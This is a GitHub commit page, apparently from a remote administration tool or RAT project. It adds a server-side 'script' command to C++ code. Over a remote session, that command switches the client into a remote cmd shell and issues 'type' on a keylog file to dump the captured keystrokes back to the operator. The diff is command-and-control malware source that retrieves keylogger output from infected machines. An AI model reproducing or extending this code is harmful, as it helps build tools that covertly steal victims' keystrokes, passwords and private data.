Skip to content

Commit

Permalink
Implemented simple script framework. Really early stage but the examp…
Browse files Browse the repository at this point in the history
…le script ("script keydump <keylog.txt>") manages to dump the entire file as opposed to the command keydump
  • Loading branch information
werkamsus committed Sep 16, 2017
1 parent ca753c8 commit 2dc30a8
Show file tree
Hide file tree
Showing 3 changed files with 28 additions and 0 deletions.
1 change: 1 addition & 0 deletions Server/general.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ void General::outputMsg(std::string message, int msgType)
}
}


bool General::processParameter(std::string &command, std::string compCommand)
{
std::string::size_type i = command.find(compCommand);
Expand Down
25 changes: 25 additions & 0 deletions Server/server.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,8 @@ void Server::HandleInput()
else
General::outputMsg("Please connect to a session with 'connect'", 2);
}


else //handle command when client is selected
{
if (userinput == "exitSession")
Expand Down Expand Up @@ -114,6 +116,10 @@ void Server::HandleInput()
General::cmdMode = !General::cmdMode;
SendString(currentSessionID, userinput, PacketType::Instruction);
}
else if (General::processParameter(userinput, "script"))
{
handleScript(userinput);
}
else if (General::cmdMode)
{
SendString(currentSessionID, userinput, PacketType::CMDCommand);
Expand All @@ -126,6 +132,25 @@ void Server::HandleInput()
}
}

void Server::handleScript(std::string script) //temporary, will implement client-side version
{
General::outputMsg("Executing script", 1);

SendString(currentSessionID, (std::string)"remoteControl cmd", PacketType::Instruction);
Sleep(2000);
if (General::processParameter(script, "keydump"))
{
General::outputMsg("Dumping Keylogs from " + script, 1);
SendString(currentSessionID, "type " + script, PacketType::CMDCommand);
}
else
{
General::outputMsg("Script not recognized", 2);
}

SendString(currentSessionID, (std::string)"remoteControl", PacketType::Instruction);
}

bool Server::ProcessPacket(int ID, PacketType _packettype)
{
switch (_packettype)
Expand Down
2 changes: 2 additions & 0 deletions Server/server.h
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,8 @@ class Server

private:

void handleScript(std::string script);

bool sendall(int ID, char * data, int totalbytes);
bool recvall(int ID, char * data, int totalbytes);

Expand Down

0 comments on commit 2dc30a8

Please sign in to comment.